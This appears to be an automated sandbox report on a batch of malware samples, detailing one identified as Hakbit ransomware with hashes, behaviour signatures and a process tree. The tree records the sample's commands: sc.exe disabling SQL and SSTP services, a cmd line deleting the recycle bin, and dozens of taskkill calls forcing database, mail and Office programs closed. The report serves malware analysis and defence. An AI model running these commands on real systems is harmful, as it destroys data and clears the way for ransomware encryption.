Overview
overview
10Static
static
1008751be484...2d.dll
windows10-2004-x64
100a9f79abd4...51.exe
windows10-2004-x64
30di3x.exe
windows10-2004-x64
104a30275f14...ab.dll
windows10-2004-x64
102019-09-02...10.exe
windows10-2004-x64
102c01b00772...eb.exe
windows10-2004-x64
731.exe
windows10-2004-x64
103DMark 11 ...on.exe
windows10-2004-x64
342f9729255...61.exe
windows10-2004-x64
105da0116af4...18.exe
windows10-2004-x64
10c2716fcc73...86.exe
windows10-2004-x64
1069c56d12ed...6b.exe
windows10-2004-x64
10905d572f23...50.exe
windows10-2004-x64
10948340be97...54.exe
windows10-2004-x64
1095560f1a46...f9.dll
windows10-2004-x64
10Archive.zi...3e.exe
windows10-2004-x64
8DiskIntern...en.exe
windows10-2004-x64
3f28e02bd1e...8a.exe
windows10-2004-x64
10ForceOp 2....ce.exe
windows10-2004-x64
7HYDRA.exe
windows10-2004-x64
10#/power.exe
windows10-2004-x64
#/sant.exe
windows10-2004-x64
#/ufx.exe
windows10-2004-x64
#/va.exe
windows10-2004-x64
KLwC6vii.exe
windows10-2004-x64
1Keygen.exe
windows10-2004-x64
10Lonelyscre...ox.exe
windows10-2004-x64
3LtHv0O2KZDK4M637.exe
windows10-2004-x64
10Magic_File...ja.exe
windows10-2004-x64
3OnlineInstaller.exe
windows10-2004-x64
8REVENGE-RAT.js
windows10-2004-x64
10Remouse.Mi...cg.exe
windows10-2004-x64
3Analysis
-
max time kernel
110s -
max time network
132s -
platform
windows10-2004_x64 -
resource
win10v2004-20250502-en -
resource tags
arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system -
submitted
04/05/2025, 05:21
Static task
static1
Behavioral task
behavioral1
Sample
08751be484e1572995ebb085df1c2c6372084d63a64dce7fab28130d79a6ea2d.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral2
Sample
0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral3
Sample
0di3x.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral4
Sample
4a30275f14f80c6e11d5a253d7d004eda98651010e0aa47f744cf4105d1676ab.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral5
Sample
2019-09-02_22-41-10.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral6
Sample
2c01b007729230c415420ad641ad92eb.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral7
Sample
31.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral8
Sample
3DMark 11 Advanced Edition.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral9
Sample
42f972925508a82236e8533567487761.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral10
Sample
5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral11
Sample
c2716fcc735a4f1b9fce29cb1dc20a26969b71f615e2b119e9680f015379d286.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral12
Sample
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral13
Sample
905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral14
Sample
948340be97cc69c2cf8e5c8327ee52a89eeb50095f978696c710ad773a46b654.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral15
Sample
95560f1a465e8ba87a73f8e60a6657545073d55c3b5cfc2ffdaf3d69d46afcf9.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral16
Sample
Archive.zip__ccacaxs2tbz2t6ob3e.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral17
Sample
DiskInternals_Uneraser_v5_keygen.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral18
Sample
f28e02bd1e9cc701437328dc7bec07b439b5b97277a7983e9ca302fbc550e48a.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral19
Sample
ForceOp 2.8.7 - By RaiSence.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral20
Sample
HYDRA.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral21
Sample
#/power.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral22
Sample
#/sant.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral23
Sample
#/ufx.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral24
Sample
#/va.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral25
Sample
KLwC6vii.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral26
Sample
Keygen.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral27
Sample
Lonelyscreen.1.2.9.keygen.by.Paradox.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral28
Sample
LtHv0O2KZDK4M637.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral29
Sample
Magic_File_v3_keygen_by_KeygenNinja.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral30
Sample
OnlineInstaller.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral31
Sample
REVENGE-RAT.js
Resource
win10v2004-20250502-en
Behavioral task
behavioral32
Sample
Remouse.Micro.Micro.v3.5.3.serial.maker.by.aaocg.exe
Resource
win10v2004-20250502-en
General
-
Target
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
-
Size
80KB
-
MD5
8152a3d0d76f7e968597f4f834fdfa9d
-
SHA1
c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
-
SHA256
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
-
SHA512
eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
-
SSDEEP
1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0
Malware Config
Extracted
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
hakbit
Signatures
-
Disables service(s) 3 TTPs
-
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
-
Hakbit family
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3690492401-2005096563-3427069815-1000\Control Panel\International\Geo\Nation 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 760 sc.exe 2920 sc.exe 1148 sc.exe 1412 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 6812 cmd.exe 5004 PING.EXE -
Kills process with taskkill 47 IoCs
pid Process 5012 taskkill.exe 2524 taskkill.exe 724 taskkill.exe 4068 taskkill.exe 932 taskkill.exe 1076 taskkill.exe 2424 taskkill.exe 3576 taskkill.exe 4456 taskkill.exe 3620 taskkill.exe 2808 taskkill.exe 3212 taskkill.exe 3912 taskkill.exe 2840 taskkill.exe 556 taskkill.exe 3920 taskkill.exe 1900 taskkill.exe 1436 taskkill.exe 4136 taskkill.exe 1800 taskkill.exe 2348 taskkill.exe 3536 taskkill.exe 1092 taskkill.exe 1020 taskkill.exe 2012 taskkill.exe 4012 taskkill.exe 2356 taskkill.exe 4108 taskkill.exe 1500 taskkill.exe 3472 taskkill.exe 1940 taskkill.exe 2548 taskkill.exe 1044 taskkill.exe 1220 taskkill.exe 4124 taskkill.exe 1052 taskkill.exe 3568 taskkill.exe 3368 taskkill.exe 952 taskkill.exe 3872 taskkill.exe 2772 taskkill.exe 2384 taskkill.exe 1852 taskkill.exe 4176 taskkill.exe 2992 taskkill.exe 4576 taskkill.exe 2360 taskkill.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 4068 notepad.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5004 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeDebugPrivilege 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe Token: SeDebugPrivilege 3212 taskkill.exe Token: SeDebugPrivilege 1052 taskkill.exe Token: SeDebugPrivilege 3872 taskkill.exe Token: SeDebugPrivilege 2424 taskkill.exe Token: SeDebugPrivilege 724 taskkill.exe Token: SeDebugPrivilege 3620 taskkill.exe Token: SeDebugPrivilege 2348 taskkill.exe Token: SeDebugPrivilege 1020 taskkill.exe Token: SeDebugPrivilege 1076 taskkill.exe Token: SeDebugPrivilege 2808 taskkill.exe Token: SeDebugPrivilege 3576 taskkill.exe Token: SeDebugPrivilege 1436 taskkill.exe Token: SeDebugPrivilege 4068 taskkill.exe Token: SeDebugPrivilege 932 taskkill.exe Token: SeDebugPrivilege 4176 taskkill.exe Token: SeDebugPrivilege 1044 taskkill.exe Token: SeDebugPrivilege 1940 taskkill.exe Token: SeDebugPrivilege 4124 taskkill.exe Token: SeDebugPrivilege 2012 taskkill.exe Token: SeDebugPrivilege 5012 taskkill.exe Token: SeDebugPrivilege 1500 taskkill.exe Token: SeDebugPrivilege 1092 taskkill.exe Token: SeDebugPrivilege 4456 taskkill.exe Token: SeDebugPrivilege 2548 taskkill.exe Token: SeDebugPrivilege 2524 taskkill.exe Token: SeDebugPrivilege 3568 taskkill.exe Token: SeDebugPrivilege 556 taskkill.exe Token: SeDebugPrivilege 952 taskkill.exe Token: SeDebugPrivilege 4108 taskkill.exe Token: SeDebugPrivilege 3920 taskkill.exe Token: SeDebugPrivilege 3472 taskkill.exe Token: SeDebugPrivilege 2356 taskkill.exe Token: SeDebugPrivilege 3368 taskkill.exe Token: SeDebugPrivilege 1900 taskkill.exe Token: SeDebugPrivilege 3536 taskkill.exe Token: SeDebugPrivilege 1220 taskkill.exe Token: SeDebugPrivilege 2772 taskkill.exe Token: SeDebugPrivilege 4576 taskkill.exe Token: SeDebugPrivilege 2840 taskkill.exe Token: SeDebugPrivilege 1852 taskkill.exe Token: SeDebugPrivilege 1800 taskkill.exe Token: SeDebugPrivilege 4012 taskkill.exe Token: SeDebugPrivilege 2384 taskkill.exe Token: SeDebugPrivilege 3912 taskkill.exe Token: SeDebugPrivilege 2360 taskkill.exe Token: SeDebugPrivilege 4136 taskkill.exe Token: SeDebugPrivilege 4944 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 644 wrote to memory of 1148 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 85 PID 644 wrote to memory of 1148 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 85 PID 644 wrote to memory of 1868 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 86 PID 644 wrote to memory of 1868 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 86 PID 644 wrote to memory of 2920 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 87 PID 644 wrote to memory of 2920 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 87 PID 644 wrote to memory of 760 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 88 PID 644 wrote to memory of 760 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 88 PID 644 wrote to memory of 1412 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 89 PID 644 wrote to memory of 1412 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 89 PID 644 wrote to memory of 1076 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 90 PID 644 wrote to memory of 1076 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 90 PID 644 wrote to memory of 3872 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 91 PID 644 wrote to memory of 3872 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 91 PID 644 wrote to memory of 1052 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 92 PID 644 wrote to memory of 1052 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 92 PID 644 wrote to memory of 3212 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 93 PID 644 wrote to memory of 3212 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 93 PID 644 wrote to memory of 2808 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 94 PID 644 wrote to memory of 2808 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 94 PID 644 wrote to memory of 932 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 95 PID 644 wrote to memory of 932 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 95 PID 644 wrote to memory of 952 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 96 PID 644 wrote to memory of 952 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 96 PID 644 wrote to memory of 3620 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 97 PID 644 wrote to memory of 3620 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 97 PID 644 wrote to memory of 4124 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 102 PID 644 wrote to memory of 4124 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 102 PID 644 wrote to memory of 1220 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 104 PID 644 wrote to memory of 1220 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 104 PID 644 wrote to memory of 1044 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 105 PID 644 wrote to memory of 1044 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 105 PID 644 wrote to memory of 1900 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 107 PID 644 wrote to memory of 1900 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 107 PID 644 wrote to memory of 2548 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 108 PID 644 wrote to memory of 2548 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 108 PID 644 wrote to memory of 3920 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 110 PID 644 wrote to memory of 3920 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 110 PID 644 wrote to memory of 4068 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 111 PID 644 wrote to memory of 4068 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 111 PID 644 wrote to memory of 724 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 112 PID 644 wrote to memory of 724 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 112 PID 644 wrote to memory of 1940 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 113 PID 644 wrote to memory of 1940 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 113 PID 644 wrote to memory of 4576 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 114 PID 644 wrote to memory of 4576 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 114 PID 644 wrote to memory of 3368 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 115 PID 644 wrote to memory of 3368 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 115 PID 644 wrote to memory of 3472 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 117 PID 644 wrote to memory of 3472 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 117 PID 644 wrote to memory of 2992 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 118 PID 644 wrote to memory of 2992 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 118 PID 644 wrote to memory of 4456 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 119 PID 644 wrote to memory of 4456 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 119 PID 644 wrote to memory of 4176 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 120 PID 644 wrote to memory of 4176 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 120 PID 644 wrote to memory of 2524 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 121 PID 644 wrote to memory of 2524 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 121 PID 644 wrote to memory of 2012 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 122 PID 644 wrote to memory of 2012 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 122 PID 644 wrote to memory of 1500 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 124 PID 644 wrote to memory of 1500 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 124 PID 644 wrote to memory of 3568 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 125 PID 644 wrote to memory of 3568 644 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 125
Processes
-
C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
PID:1148
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:1868
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
PID:2920
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
PID:760
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
PID:1412
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1076
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3872
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1052
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3212
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2808
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:932
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:952
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3620
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4124
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1220
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1044
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1900
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2548
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3920
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4068
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:724
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4576
-
-
